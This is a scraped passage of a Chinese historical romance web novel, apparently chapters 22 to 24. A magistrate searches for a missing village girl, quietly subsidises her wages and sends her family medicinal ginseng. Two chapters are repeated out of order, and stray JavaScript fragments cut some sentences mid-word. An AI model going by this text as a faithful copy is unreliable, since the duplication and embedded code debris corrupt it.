原来那日谢临安告诉松石暗中跟踪那伙讹人的,看看他们是否用同样的套路去陷害其他人,若是有当场抓获扭送官府,若没有就去探访他们的住址,他自有用处。 那天阿雪姐弟没有被讹钱,谢临安便打算大发善心放他们一马,但显然,现在谢临安怀疑阿雪失踪与那伙人有关。 没多久就到了地方,院门紧闭,谢临安挥挥手:“踹开。” 事情还未确定,身为父母官如此大张旗鼓的强闯民宅恐怕不妥,若是传到京城里,恐要落人口实。 赵友成要张口拦已经晚了,因为不等捕快动作,卢石头已经像是一头小牛犊似的冲了上去。也不知道这个少年怎么力气如此之大,直接用肩膀顶开了院门,发出砰的一声巨响。 响动引起屋里人注意,走出来两个汉子,正是讹人团伙。 “我阿姐呢?!”卢石头直接冲进来,还没有汉子高的少年挥舞拳头,直接给两人一人一拳。 他力气极大,打的汉子眼冒金星,还有一个嘴边浮现血迹,直接打断了一颗牙。 赵友成捂眼,根本不敢看。 完了,这小子怎的如此冲动,若是他阿姐不在这,人家屋主可是能将打人者扭送官府的啊! “你们是谁?做什么?” 见对方人多势众来势汹汹,两个人捂着脑袋后退,脑子里在想得罪过的人,却都对不上号。 “我是你祖宗!”卢大富乃是粗野猎户,卢石头随了爹,愤怒之下直接破口大骂,然后就要往里闯找阿姐。 “什么阿姐,我这里没有你阿姐!”那俩人拦着门口不让进,更让卢石头觉得怪异,深信不疑他阿姐就是被他们藏起来,说什么也要进去看看。 “卢石头。”就在这时,身后淡然的男声响起,“她不在这,我们走。” 卢石头回过头,急的眼睛通红,像是一头被激怒的小兽:“可是还没进去看,怎么知道她不在这?” 方才进门起捕快就亮出了身份,而两个汉子没有半点心虚之色,且房间里没有动静,显然她不在这。 谢临安不想浪费时间哪怕半刻,于是道:“听我的,保管你找到人。” 他气度过人,沉着冷静,莫名地让卢石头信任,于是撤了回来。但被打的人不肯善罢甘休,他们没理都得占理,更何况现在人证物证俱在。 “别走!赔医药费!” 那人抓着卢石头的衣服,卢石头一扭身,他穿了两年的粗布衣裳刺啦一声被撕开,那人还踉跄了一步。 “你是官府的人是不是?赶紧给我做主!强闯民宅还打伤我们兄弟,抓他进牢房!” 俩人都叫嚣,赵友成不由得为卢石头捏了一把汗。完了,到底走上了这步。不等找到他阿姐,他先下大狱了。 “证据呢?”谢临安掀起眼帘,声音淡淡,“有什么证据可以证明?” “啊?难道你没看见他撞门而入,又给我们兄弟一人一拳吗?” 谢临安一只手捋着袖口上的褶皱,浑不在意道:“是吗?不好意思,没看见,只看见你们是撕坏了对方的衣裳。” 卢石头是个见风使舵的主儿,原本他还害怕谢临安会处罚他,但一听他这样说,顿时腰杆挺直来了底气。 “你们将我衣服撕坏了,赔钱!” 谢临安依旧是那副温润如玉的模样,完全看不出方才的“无赖行径”。赵友成头皮发麻,暗道还好他和谢临安交好。 以前在京城的时候,世家子弟之间也是分派别的,不少人对谢临安又敬又怕,因此真正交好之人没几个。 看吧,平日里谢临安就是收起爪牙的狼,优哉游哉地趴在那,偶尔露出锋利的爪子逗弄猎物。 就比如此时此刻此地,只有他们这些人,谢临安说是什么就是什么。 最后到底赔了一把铜钱,石头满意的离开。 卢石头跟在谢临安身后,怎么看怎么觉得这位大人真是个大 () { $(''.inform'').remove(); $(''#content'').append('' 好人!样貌好不说心肠也好还是个当官的。如果阿姐能和他在一起就好了,比和严夫子在一起强一百倍。 谢临安没心思注意身后狂热的视线,他在想阿雪到底在何处。 按照方才两个汉子的说法,阿雪确实和他们见过,但双方不欢而散,之后阿雪去哪里他们就不知道了。 “卢石头,你说你阿姐出来找活? “对对,因为我娘病了,抓药花了很多钱,又付了半个月的客栈钱,现在手里没有存银,连吃饭都成问题。 卢石头更是一点城府都没有,把家里的情况和盘托出。 谢临安眉梢微动。 他没想到她竟然困顿至此都不肯来向他求助。 难道她主动靠近他,不是为了攀附? 这一刻,谢临安真的拿不准那个单纯小娘子的心思了。 派出去的捕快很快起了用场,说在一家酒楼后厨找到了阿雪。 谢临安到的时候,阿雪还蹲在地上摘菜,浩浩荡荡一群人,吓的厨房所有人都退了出去。 “郎君?石头?”阿雪起身,注意到自己手脏,她胡乱地往身上围裙抹了一下。 谢临安视线从头到脚地扫过,见她毫发无伤,不自觉地松了口气。 “阿姐!”石头简直是喜极而泣,跑过来抱着阿雪,“吓死我了,我还以为阿姐被坏人带走了。” 实在是路人说的失踪案太过危言耸听,卢石头找姐心切,这才导致了乌龙。 “胡闹,郎君每日繁忙,不好去打扰他。” 这些日子谢临安从未主动找过她,在阿雪看来就是在忙公事,可话到了谢临安耳朵里,好似在娇嗔一般,怪他没去见她。 信没回,面也不见。 她莫不是在以退为进? 短短一瞬的时间,数种猜测划过,谢临安淡声将捕快们散了。阿雪走过来朝着他道谢,石头见缝插针,问那群讹人的有没有对她怎么样,阿雪笑了:“没有,我直接大喊报官他们就怕了。” 和那些人交代的一样。 既然人已经找到,谢临安便没有再留下的道理,偏偏他脚步不动,直到赵友成小声提醒。 回到衙署之后,谢临安坐在椅子上,面前的公文许久不曾翻动。 不远处的赵友成笑着摇头,暗道他谢临安也有栽在石榴裙下的一天。 看吧,肯定要拿钱接济人家小娘子。 可是等啊等,等到天色擦黑也没见谢临安有所行动。赵友成打着哈欠去净房后,谢临安召唤松石,低声吩咐了几句。 松石虽然惊讶,但低头称是,立刻出去办事。 翌日。 阿雪又来上工,这是她找到的好地方,在酒楼后厨帮忙打杂,给的钱还算丰厚,最重要的是供晌午和晚上的饭。 刚把米洗出来,那边掌柜的匆忙过来。“卢娘子,酒楼杂货多缺人手,你还有认识的人想干吗?” 阿雪眼睛一亮,忙不迭地道:“有!我弟弟。” 卢石头因此和阿雪一起,俩人同进同出,即使晚上也不用担心走夜路。 23. 第 23 章 “看,我就说肯定会好的吧。” 两只手合着,使劲摇晃,侧耳倾听铜板相碰撞的声音。阿雪满足的眯眼笑。 她当时找活时就奔着每日结算工钱来的,所以才找了那么久。“这家酒楼的东家真是个好人。” 石头也来上工了,不过他做的都是体力活,帮忙搬米粮和酒水什么的,酒楼东家给他们姐弟俩多开了二十文钱,高兴的阿雪多留了半刻钟。 卢家姐弟心思单纯,也没细想为何东家忽然涨了工钱,兴高采烈地拿着工钱去买吃食。 他们在酒楼吃过饭了,买的东西都是给客栈里爹娘用的。 一天的工钱花了一半,怕天气越发热存不住,只能一天一买。 路过一个商铺的时候阿雪顿住脚步,把东西交给卢石头:“你先拿着在此等我。” 卢石头抬头一看,是本地卖土特产的店铺,里面琳琅满目什么都有,阿姐要买特产回去?不会是给严夫子吧? 等了片刻,阿雪拎着一个巴掌大的小油纸包出来了,脚步轻快还哼着小调。 第二天,这个油纸包就出现在松石手里,连带着还有一封信。 “卢娘子来的时候郎君还未起,便没叫她进来。” 正在宽衣的谢临安动作微顿,修长手指轻轻一挑,便将腰带拎起,整理衣服后,他转过身,看向桌面。 先是拿了信来看。 “感谢郎君昨日帮忙,这是谢礼。” 短短一句话,末了又画了一个圆圈,两道墨迹弯弯,是个笑脸。 不知为何,谢临安的唇角也跟着翘起,玉面郎君言笑晏晏。 “还说了什么?” 转过头来时候,表情就没方才柔和了,松石有点摸不清主子的想法,还隐隐有点嫉妒阿雪。 怎么看见卢娘子的信郎君就变得高兴起来了? “没说什么了。” 谢临安拿起油纸包,好奇她送的什么东西。打开一看,原来是一块砖红色的茶饼。 气味寡淡,纹理粗糙,甚至松石都能看出来不是什么好茶。但他们不知道,这块茶饼是阿雪咬牙买下来的,想着他在镇子上连那么苦涩的茶都喝,自己送他点贵的吧。 “这种东西还眼巴巴的送来。”松石不满,“也不想想是谁让他们姐弟俩有丰厚报酬的。” 松石当时给了酒楼掌柜一袋子钱,让他不着痕迹的补贴给卢家姐弟。在松石看来,郎君如此行径只是可怜那对姐弟罢了。可转念一想,似乎不是这样。 他们郎君是大发善心的滥好人吗?不是。相反,他家郎君是少有的人间清醒。 在京城中郎君乃是众位小娘子们的佳婿良选,不少小娘子们费尽心思的接近,其中就有另出奇招者。 装作柔弱可怜,下大雨时候路过他们的马车,假意认出他们郎君,然后请求上马车避雨,企图和他们郎君共处一室。 他们郎君怎么处理的? 笑面郎君面色不变,微微一笑道:“抱歉,某有要事处理。” 说完就让马车启程,连把伞都不给。 本来以为这件事之后,谢临安狠心的名声就会传出去,松石还惴惴不安担心了许久,怕坏了郎君名声。可没想到那些小娘子们越发的往郎君身上扑,还说什么,嫁人就应当嫁谢家大郎,最是忠贞不二。 怎的如此道理?松石搞不懂。 就像搞不懂此刻自家郎君的心思一样。 晌午吃完饭,赵友成偷偷拉过松石。“是有什么喜事瞒着我吗?怎么感觉他今日心情不错?” 松石叹气:“不知道。” 赵友成啧了一声:“看来真有情况。” 下午,忙完了公事的谢临安交代松石去收拾库房。松石道:“郎君想要什么,这就去找。” 翻开杂书的谢临安声音不轻不重:“我记得从京城出来时带了灵芝和人参若干,挑品相好的送过去。” 松石目瞪口呆。“这……” 那可是侯夫人特意给郎君准备的,专门调理滋补身体用,都是从宫里出来的好玩意。 “愣着做什么,还不快去?” 松石咬咬牙:“郎君,有句话不知当讲不当。” “既然知道不当讲那便不要讲。” …… 世家权贵和普通的人区别便是如此。 谢临安库房里的东西随便拿出来一件,便够普通百姓过活好几年。 老百姓最忧愁生计,而此刻的卢家也是亦然。尽管阿雪和石头去做工挣出了吃饭钱,可焦红杏迟迟不见好转,又请大夫过来诊脉,说是风寒早就好了,只是身体太过虚弱而已。 “最好是买滋补的玩意,山参一类,放鸡汤里多炖上一个时辰,每天喝上一碗,滋阴进补,对患者好着呢。” 可现在没有山参,只能出去买。卢大富问大夫需要多少钱,大夫捋着胡子道:“看年份和品相,年份越长的越贵,普通的起码也要半两银子。” 焦红杏立刻接话说没事。 卢大富不言语,默不作声的送走了大夫,回来就琢磨上哪里弄钱来买药材。 “家里是不是还有银子?” 卢大富只负责打猎挣钱,挣回来的所有钱都在焦红杏手里,卢家具体存银几何,他一概不知。 焦红杏咬着唇,明显不想说。 不是她不想花钱,是真的用钱地方多。焦红杏盘算着女儿的婚事,想把钱用来当嫁妆,而且还要留一些给石头读书用。 总之,处处都用钱,都比她的身体来的紧急。 “大夫不是说我没病吗?只是身体不好而已,我多吃些饭就能补回来,不用什么山参的。” 焦红杏一向如此,这个家里三个人挣钱,她身体不好只能留家修养已经很过意不去了,当真不想再花钱。 卢大富明白她的心思。“这样,我回家一趟,不拿钱,把家里那些攒着的兽皮卖了换钱,反正我还能打猎,到时候再进山打。” 家里兽皮不少,但焦红杏也舍不得。“那是我留给阿雪的嫁妆。” 卢大富难得反驳妻子:“你不是看中严夫子当女婿了吗?他一个读书人要兽皮做什么?要是真当嫁妆,反而显得我们没有文化,山野人。” 焦红杏一愣。她只想着东西越多越好,还真没想过这一层。不过她反应也快,拉住丈夫道:“那也留着让阿雪自己卖钱,这样, () { $(''.inform'').remove(); $(''#content'').append('' 你先别急,我们就在此修养一阵,回家之后你进山打猎时候顺道给我找找山参不就成了吗?不用多花钱。” 卢大富一向听妻子的话,觉得有几分道理,但又哪里不太对。没等他琢磨过来,焦红杏又温声细语的说了好几句,哄的卢大富心花怒放,她说什么他应什么。 等卢大富出去熬药时候,焦红杏在房间里偷偷抹泪,觉得自己这副身体拖垮了家。一时间万念俱灰,甚至萌生了不好的念头。 幸而脑海里闪过女儿和儿子的脸,她只是叹了口气,没继续往下想。 就在这时有人敲门。 “谁啊?” “卢娘子住这吗?” 年轻的郎君声音,焦红杏觉得奇怪,谁来找阿雪? 急忙擦了擦眼泪来开门,见是个脸生的人。 “这是我家郎君要给卢娘子的,您收好。” 对方送完东西就走了,焦红杏甚至都没来得及问他们家郎君是谁。 厨房里的卢大富熬好了药,端着回房,见妻子呆愣在桌子前,忙让她躺下休息。 “大富,你看看这是什么药材?” “药材,大夫送来的?”卢大富转过来这才看见桌面上放着几个绒盒,盒子里安静躺着各种药材。 焦红杏嘴唇有点颤:“这个是不是山参啊?” 她指着巴掌大的人参问道。 如果被松石听见,一定会气恼的喊:“哪里是山参,那是宫里赏赐的百年人参!” 除此之外,还有灵芝等珍贵玩意。 卢大富挠头:“应当是吧,谁送的?” 焦红杏如实说了。 卢大富哈哈大笑:“没想到我们阿雪这么快就交到朋友了,好啊好啊!” 当即拿那根人参入了锅,熬了一锅鸡汤,等到他们姐弟俩回来后,正好熬的浓香,一家子坐在一起,将鸡汤分着喝了,那只老母鸡也被炖的酥烂,两个孩子吃鸡腿,卢大富吃鸡头,把肉多的胸脯肉给焦红杏。 吃完之后,卢家都睡了个好觉。 临睡前阿雪翻来覆去,另一张床的卢石头嘟囔:“阿姐,你不睡觉烙饼啊。” 阿雪心情好,也没下床去揍弟弟。她想的是,谢临安送这些东西应当是探望伯父伯母的意思吧。 毕竟他以前没少受卢家恩惠,焦红杏对他视如己出,小时候谢临安可是一日三餐都在卢家吃。 算他有良心。 晚上吃饭时候夫妻俩还问阿雪是什么朋友,卢石头大喇喇要说是县令爷,阿雪踢了他一脚,怕爹娘知道对方身份会多想,就说做工认识的朋友。 阿雪从来不撒谎,夫妻俩深信不疑。 当天晚上,阿雪就在梦里见到谢临安了。 年轻的郎君面若冠玉,光是站在那便是一道风景。阿雪好几天没见他,兴高采烈的上前要同他说话,却见他侧过身时,衣袖上出现了补丁。 “郎君,你衣服坏了?” “为了给你爹娘送山参,我凑了点钱。” 阿雪过意不去:“抱歉,忘了你没钱了。” 翌日醒来,阿雪暗暗下定决心,等工钱够他们一家吃喝后,她一定接济谢临安。 22-30 第22章 第22章 “大人,那些失踪案里的受害者大多是女子,且听说不一定是被人掳走,也有可能是使用了花言巧语或者循循诱之,总之,只要不见踪影,就一定有大危险。” 诱骗…… 认识阿雪的时间虽然短,但出身乡野的小娘子性子单纯,前几天当街讹人都没看出来,足以可见涉世不深,极容易下手。 笑面郎君的唇角渐渐平了。 说话的是王捕头,方才松石慌里慌张的来汇报,王捕头紧随其后,带着苦主卢石头。 卢石头也不傻,他知道这里谁最大,直接要对着谢临安跪下。 “松石。”谢临安淡淡一声,松石会意,扶着半跪的卢石头,道:“大人让你站着回话即可。” 卢石头隐隐带了哭腔:“大人,我阿姐上午出去,说过出去找活计午后便归,可现在都黄昏了她还没回客栈。大人,我阿姐说不定遇见什么危险了!” 原本卢石头没往这方面想,是他寻找阿雪的路上,听见别人讨论失踪案的事情,搞的少年心慌意乱,尤其在听别人说失踪人口都是貌美如花的小娘子后,卢石头脸色煞白,直接问官府地址,一路寻了过来。 原本的八分担心,在听王捕头的话后变成了十分,十三岁的卢石头用沙包大的拳头抹了一把眼泪。 “我阿姐生的貌美,又人生地不熟的,说不定有坏人盯上她了。” 卢石头越说,谢临安的脸色则越沉。 玉面郎君的面上风雨欲来,赵友成见状起了一身鸡皮疙瘩,忍不住搓胳膊。 看来那位卢娘子果然与临安的关系非同一般。 “王升,你将捕快分为十组,主要街道都去寻一番,另外再派人去城门口询问,可否见过卢雪出城。” 这些捕快都见过阿雪,想到那个冰清玉洁貌美如花的小娘子,不免升起几分恻隐之心。王捕头称是吩咐下去,谢临安又留了两个身高体壮的捕快,道:“你们跟我走。” 赵友成连忙跟上,问:“临安,我们去哪寻卢娘子?” “松石,那人的地址可还记得?” 这没头没尾的一句话,在场的人都有点懵,松石也是缓了一下才反应过来他问的什么。 “禀郎君,记得,这就带路。” 原来那日谢临安告诉松石暗中跟踪那伙讹人的,看看他们是否用同样的套路去陷害其他人,若是有当场抓获扭送官府,若没有就去探访他们的住址,他自有用处。 那天阿雪姐弟没有被讹钱,谢临安便打算大发善心放他们一马,但显然,现在谢临安怀疑阿雪失踪与那伙人有关。 没多久就到了地方,院门紧闭,谢临安挥挥手:“踹开。” 事情还未确定,身为父母官如此大张旗鼓的强闯民宅恐怕不妥,若是传到京城里,恐要落人口实。 赵友成要张口拦已经晚了,因为不等捕快动作,卢石头已经像是一头小牛犊似的冲了上去。也不知道这个少年怎么力气如此之大,直接用肩膀顶开了院门,发出砰的一声巨响。 响动引起屋里人注意,走出来两个汉子,正是讹人团伙。 “我阿姐呢?!”卢石头直接冲进来,还没有汉子高的少年挥舞拳头,直接给两人一人一拳。 他力气极大,打的汉子眼冒金星,还有一个嘴边浮现血迹,直接打断了一颗牙。 赵友成捂眼,根本不敢看。 完了,这小子怎的如此冲动,若是他阿姐不在这,人家屋主可是能将打人者扭送官府的啊! “你们是谁?做什么?” 见对方人多势众来势汹汹,两个人捂着脑袋后退,脑子里在想得罪过的人,却都对不上号。 “我是你祖宗!”卢大富乃是粗野猎户,卢石头随了爹,愤怒之下直接破口大骂,然后就要往里闯找阿姐。 “什么阿姐,我这里没有你阿姐!”那俩人拦着门口不让进,更让卢石头觉得怪异,深信不疑他阿姐就是被他们藏起来,说什么也要进去看看。 “卢石头。”就在这时,身后淡然的男声响起,“她不在这,我们走。” 卢石头回过头,急的眼睛通红,像是一头被激怒的小兽:“可是还没进去看,怎么知道她不在这?” 方才进门起捕快就亮出了身份,而两个汉子没有半点心虚之色,且房间里没有动静,显然她不在这。 谢临安不想浪费时间哪怕半刻,于是道:“听我的,保管你找到人。” 他气度过人,沉着冷静,莫名地让卢石头信任,于是撤了回来。但被打的人不肯善罢甘休,他们没理都得占理,更何况现在人证物证俱在。 “别走!赔医药费!” 那人抓着卢石头的衣服,卢石头一扭身,他穿了两年的粗布衣裳刺啦一声被撕开,那人还踉跄了一步。 “你是官府的人是不是?赶紧给我做主!强闯民宅还打伤我们兄弟,抓他进牢房!” 俩人都叫嚣,赵友成不由得为卢石头捏了一把汗。完了,到底走上了这步。不等找到他阿姐,他先下大狱了。 “证据呢?”谢临安掀起眼帘,声音淡淡,“有什么证据可以证明?” “啊?难道你没看见他撞门而入,又给我们兄弟一人一拳吗?” 谢临安一只手捋着袖口上的褶皱,浑不在意道:“是吗?不好意思,没看见,只看见你们是撕坏了对方的衣裳。” 卢石头是个见风使舵的主儿,原本他还害怕谢临安会处罚他,但一听他这样说,顿时腰杆挺直来了底气。 “你们将我衣服撕坏了,赔钱!” 谢临安依旧是那副温润如玉的模样,完全看不出方才的“无赖行径”。赵友成头皮发麻,暗道还好他和谢临安交好。 以前在京城的时候,世家子弟之间也是分派别的,不少人对谢临安又敬又怕,因此真正交好之人没几个。 看吧,平日里谢临安就是收起爪牙的狼,优哉游哉地趴在那,偶尔露出锋利的爪子逗弄猎物。 就比如此时此刻此地,只有他们这些人,谢临安说是什么就是什么。 最后到底赔了一把铜钱,石头满意的离开。 卢石头跟在谢临安身后,怎么看怎么觉得这位大人真是个大好人!样貌好不说心肠也好还是个当官的。如果阿姐能和他在一起就好了,比和严夫子在一起强一百倍。 谢临安没心思注意身后狂热的视线,他在想阿雪到底在何处。 按照方才两个汉子的说法,阿雪确实和他们见过,但双方不欢而散,之后阿雪去哪里他们就不知道了。 “卢石头,你说你阿姐出来找活? “对对,因为我娘病了,抓药花了很多钱,又付了半个月的客栈钱,现在手里没有存银,连吃饭都成问题。 卢石头更是一点城府都没有,把家里的情况和盘托出。 谢临安眉梢微动。 他没想到她竟然困顿至此都不肯来向他求助。 难道她主动靠近他,不是为了攀附? 这一刻,谢临安真的拿不准那个单纯小娘子的心思了。 派出去的捕快很快起了用场,说在一家酒楼后厨找到了阿雪。 谢临安到的时候,阿雪还蹲在地上摘菜,浩浩荡荡一群人,吓的厨房所有人都退了出去。 “郎君?石头?”阿雪起身,注意到自己手脏,她胡乱地往身上围裙抹了一下。 谢临安视线从头到脚地扫过,见她毫发无伤,不自觉地松了口气。 “阿姐!”石头简直是喜极而泣,跑过来抱着阿雪,“吓死我了,我还以为阿姐被坏人带走了。” 实在是路人说的失踪案太过危言耸听,卢石头找姐心切,这才导致了乌龙。 “胡闹,郎君每日繁忙,不好去打扰他。” 这些日子谢临安从未主动找过她,在阿雪看来就是在忙公事,可话到了谢临安耳朵里,好似在娇嗔一般,怪他没去见她。 信没回,面也不见。 她莫不是在以退为进? 短短一瞬的时间,数种猜测划过,谢临安淡声将捕快们散了。阿雪走过来朝着他道谢,石头见缝插针,问那群讹人的有没有对她怎么样,阿雪笑了:“没有,我直接大喊报官他们就怕了。” 和那些人交代的一样。 既然人已经找到,谢临安便没有再留下的道理,偏偏他脚步不动,直到赵友成小声提醒。 回到衙署之后,谢临安坐在椅子上,面前的公文许久不曾翻动。 不远处的赵友成笑着摇头,暗道他谢临安也有栽在石榴裙下的一天。 看吧,肯定要拿钱接济人家小娘子。 可是等啊等,等到天色擦黑也没见谢临安有所行动。赵友成打着哈欠去净房后,谢临安召唤松石,低声吩咐了几句。 松石虽然惊讶,但低头称是,立刻出去办事。 翌日。 阿雪又来上工,这是她找到的好地方,在酒楼后厨帮忙打杂,给的钱还算丰厚,最重要的是供晌午和晚上的饭。 刚把米洗出来,那边掌柜的匆忙过来。“卢娘子,酒楼杂货多缺人手,你还有认识的人想干吗” 阿雪眼睛一亮,忙不迭地道:“有!我弟弟。” 卢石头因此和阿雪一起,俩人同进同出,即使晚上也不用担心走夜路。 第23章 第23章 “看,我就说肯定会好的吧。” 两只手合着,使劲摇晃,侧耳倾听铜板相碰撞的声音。阿雪满足的眯眼笑。 她当时找活时就奔着每日结算工钱来的,所以才找了那么久。“这家酒楼的东家真是个好人。” 石头也来上工了,不过他做的都是体力活,帮忙搬米粮和酒水什么的,酒楼东家给他们姐弟俩多开了二十文钱,高兴的阿雪多留了半刻钟。 卢家姐弟心思单纯,也没细想为何东家忽然涨了工钱,兴高采烈地拿着工钱去买吃食。 他们在酒楼吃过饭了,买的东西都是给客栈里爹娘用的。 一天的工钱花了一半,怕天气越发热存不住,只能一天一买。 路过一个商铺的时候阿雪顿住脚步,把东西交给卢石头:“你先拿着在此等我。” 卢石头抬头一看,是本地卖土特产的店铺,里面琳琅满目什么都有,阿姐要买特产回去?不会是给严夫子吧? 等了片刻,阿雪拎着一个巴掌大的小油纸包出来了,脚步轻快还哼着小调。 第二天,这个油纸包就出现在松石手里,连带着还有一封信。 “卢娘子来的时候郎君还未起,便没叫她进来。” 正在宽衣的谢临安动作微顿,修长手指轻轻一挑,便将腰带拎起,整理衣服后,他转过身,看向桌面。 先是拿了信来看。 “感谢郎君昨日帮忙,这是谢礼。” 短短一句话,末了又画了一个圆圈,两道墨迹弯弯,是个笑脸。 不知为何,谢临安的唇角也跟着翘起,玉面郎君言笑晏晏。 “还说了什么?” 转过头来时候,表情就没方才柔和了,松石有点摸不清主子的想法,还隐隐有点嫉妒阿雪。 怎么看见卢娘子的信郎君就变得高兴起来了? “没说什么了。” 谢临安拿起油纸包,好奇她送的什么东西。打开一看,原来是一块砖红色的茶饼。 气味寡淡,纹理粗糙,甚至松石都能看出来不是什么好茶。但他们不知道,这块茶饼是阿雪咬牙买下来的,想着他在镇子上连那么苦涩的茶都喝,自己送他点贵的吧。 “这种东西还眼巴巴的送来。”松石不满,“也不想想是谁让他们姐弟俩有丰厚报酬的。” 松石当时给了酒楼掌柜一袋子钱,让他不着痕迹的补贴给卢家姐弟。在松石看来,郎君如此行径只是可怜那对姐弟罢了。可转念一想,似乎不是这样。 他们郎君是大发善心的滥好人吗?不是。相反,他家郎君是少有的人间清醒。 在京城中郎君乃是众位小娘子们的佳婿良选,不少小娘子们费尽心思的接近,其中就有另出奇招者。 装作柔弱可怜,下大雨时候路过他们的马车,假意认出他们郎君,然后请求上马车避雨,企图和他们郎君共处一室。 他们郎君怎么处理的? 笑面郎君面色不变,微微一笑道:“抱歉,某有要事处理。” 说完就让马车启程,连把伞都不给。 本来以为这件事之后,谢临安狠心的名声就会传出去,松石还惴惴不安担心了许久,怕坏了郎君名声。可没想到那些小娘子们越发的往郎君身上扑,还说什么,嫁人就应当嫁谢家大郎,最是忠贞不二。 怎的如此道理?松石搞不懂。 就像搞不懂此刻自家郎君的心思一样。 晌午吃完饭,赵友成偷偷拉过松石。“是有什么喜事瞒着我吗?怎么感觉他今日心情不错?” 松石叹气:“不知道。” 赵友成啧了一声:“看来真有情况。” 下午,忙完了公事的谢临安交代松石去收拾库房。松石道:“郎君想要什么,这就去找。” 翻开杂书的谢临安声音不轻不重:“我记得从京城出来时带了灵芝和人参若干,挑品相好的送过去。” 松石目瞪口呆。“这……” 那可是侯夫人特意给郎君准备的,专门调理滋补身体用,都是从宫里出来的好玩意。 “愣着做什么,还不快去?” 松石咬咬牙:“郎君,有句话不知当讲不当。” “既然知道不当讲那便不要讲。” …… 世家权贵和普通的人区别便是如此。 谢临安库房里的东西随便拿出来一件,便够普通百姓过活好几年。 老百姓最忧愁生计,而此刻的卢家也是亦然。尽管阿雪和石头去做工挣出了吃饭钱,可焦红杏迟迟不见好转,又请大夫过来诊脉,说是风寒早就好了,只是身体太过虚弱而已。 “最好是买滋补的玩意,山参一类,放鸡汤里多炖上一个时辰,每天喝上一碗,滋阴进补,对患者好着呢。” 可现在没有山参,只能出去买。卢大富问大夫需要多少钱,大夫捋着胡子道:“看年份和品相,年份越长的越贵,普通的起码也要半两银子。” 焦红杏立刻接话说没事。 卢大富不言语,默不作声的送走了大夫,回来就琢磨上哪里弄钱来买药材。 “家里是不是还有银子?” 卢大富只负责打猎挣钱,挣回来的所有钱都在焦红杏手里,卢家具体存银几何,他一概不知。 焦红杏咬着唇,明显不想说。 不是她不想花钱,是真的用钱地方多。焦红杏盘算着女儿的婚事,想把钱用来当嫁妆,而且还要留一些给石头读书用。 总之,处处都用钱,都比她的身体来的紧急。 “大夫不是说我没病吗?只是身体不好而已,我多吃些饭就能补回来,不用什么山参的。” 焦红杏一向如此,这个家里三个人挣钱,她身体不好只能留家修养已经很过意不去了,当真不想再花钱。 卢大富明白她的心思。“这样,我回家一趟,不拿钱,把家里那些攒着的兽皮卖了换钱,反正我还能打猎,到时候再进山打。” 家里兽皮不少,但焦红杏也舍不得。“那是我留给阿雪的嫁妆。” 卢大富难得反驳妻子:“你不是看中严夫子当女婿了吗?他一个读书人要兽皮做什么?要是真当嫁妆,反而显得我们没有文化,山野人。” 焦红杏一愣。她只想着东西越多越好,还真没想过这一层。不过她反应也快,拉住丈夫道:“那也留着让阿雪自己卖钱,这样,你先别急,我们就在此修养一阵,回家之后你进山打猎时候顺道给我找找山参不就成了吗?不用多花钱。” 卢大富一向听妻子的话,觉得有几分道理,但又哪里不太对。没等他琢磨过来,焦红杏又温声细语的说了好几句,哄的卢大富心花怒放,她说什么他应什么。 等卢大富出去熬药时候,焦红杏在房间里偷偷抹泪,觉得自己这副身体拖垮了家。一时间万念俱灰,甚至萌生了不好的念头。 幸而脑海里闪过女儿和儿子的脸,她只是叹了口气,没继续往下想。 就在这时有人敲门。 “谁啊?” “卢娘子住这吗?” 年轻的郎君声音,焦红杏觉得奇怪,谁来找阿雪? 急忙擦了擦眼泪来开门,见是个脸生的人。 “这是我家郎君要给卢娘子的,您收好。” 对方送完东西就走了,焦红杏甚至都没来得及问他们家郎君是谁。 厨房里的卢大富熬好了药,端着回房,见妻子呆愣在桌子前,忙让她躺下休息。 “大富,你看看这是什么药材?” “药材,大夫送来的?”卢大富转过来这才看见桌面上放着几个绒盒,盒子里安静躺着各种药材。 焦红杏嘴唇有点颤:“这个是不是山参啊?” 她指着巴掌大的人参问道。 如果被松石听见,一定会气恼的喊:“哪里是山参,那是宫里赏赐的百年人参!” 除此之外,还有灵芝等珍贵玩意。 卢大富挠头:“应当是吧,谁送的?” 焦红杏如实说了。 卢大富哈哈大笑:“没想到我们阿雪这么快就交到朋友了,好啊好啊!” 当即拿那根人参入了锅,熬了一锅鸡汤,等到他们姐弟俩回来后,正好熬的浓香,一家子坐在一起,将鸡汤分着喝了,那只老母鸡也被炖的酥烂,两个孩子吃鸡腿,卢大富吃鸡头,把肉多的胸脯肉给焦红杏。 吃完之后,卢家都睡了个好觉。 临睡前阿雪翻来覆去,另一张床的卢石头嘟囔:“阿姐,你不睡觉烙饼啊。” 阿雪心情好,也没下床去揍弟弟。她想的是,谢临安送这些东西应当是探望伯父伯母的意思吧。 毕竟他以前没少受卢家恩惠,焦红杏对他视如己出,小时候谢临安可是一日三餐都在卢家吃。 算他有良心。 晚上吃饭时候夫妻俩还问阿雪是什么朋友,卢石头大喇喇要说是县令爷,阿雪踢了他一脚,怕爹娘知道对方身份会多想,就说做工认识的朋友。 阿雪从来不撒谎,夫妻俩深信不疑。 当天晚上,阿雪就在梦里见到谢临安了。 年轻的郎君面若冠玉,光是站在那便是一道风景。阿雪好几天没见他,兴高采烈的上前要同他说话,却见他侧过身时,衣袖上出现了补丁。 “郎君,你衣服坏了?” “为了给你爹娘送山参,我凑了点钱。” 阿雪过意不去:“抱歉,忘了你没钱了。” 翌日醒来,阿雪暗暗下定决心,等工钱够他们一家吃喝后,她一定接济谢临安。 第24章 第24章 没几天,谢临安就收到阿雪的回礼。 是一屉热乎的肉包子,还附赠她亲笔信。 “我借用东家厨房做的,从和面到出锅都是我自己做,放心吃。”信末尾依旧有个笑脸。 赵友成凑过来忍不住咽口水:“真香啊,正好我早饭没吃,临安,我先吃了。” 白胖的肉包子,一个有成年男人拳头大,热气腾腾香气四溢。赵友成甚至都不想净手,拿了帕子直接抹两把,作势便要取个包子吃。 “做什么?” 他刚伸手,便被谢临安挡住了腕子,好奇抬头看他,就见谢临安面色不善。 “你干什么?”赵友成觉得奇怪:“我吃包子啊。” “是你的东西吗?” 谢临安说话不轻不重,赵友成认识他时间久,俩人一起同席的次数数不胜数,甚至宫宴都一起吃过多次了,知道谢临安不是护食的人,他一个侯府世子,什么山珍海味没吃过,向来不吝啬分享。 怎么到了普通的肉包子这,他反倒是不愿意分享了。 啧。 赵友成眯着眼睛观察谢临安。 虽然这张俊美的脸上依旧春风拂面,可赵友成知道这家伙是个笑面佛,他既然开口,便真的是不想让他动。 啧! 看来那位卢娘子不是普通的乡野小娘子啊,有机会要会会她才成。 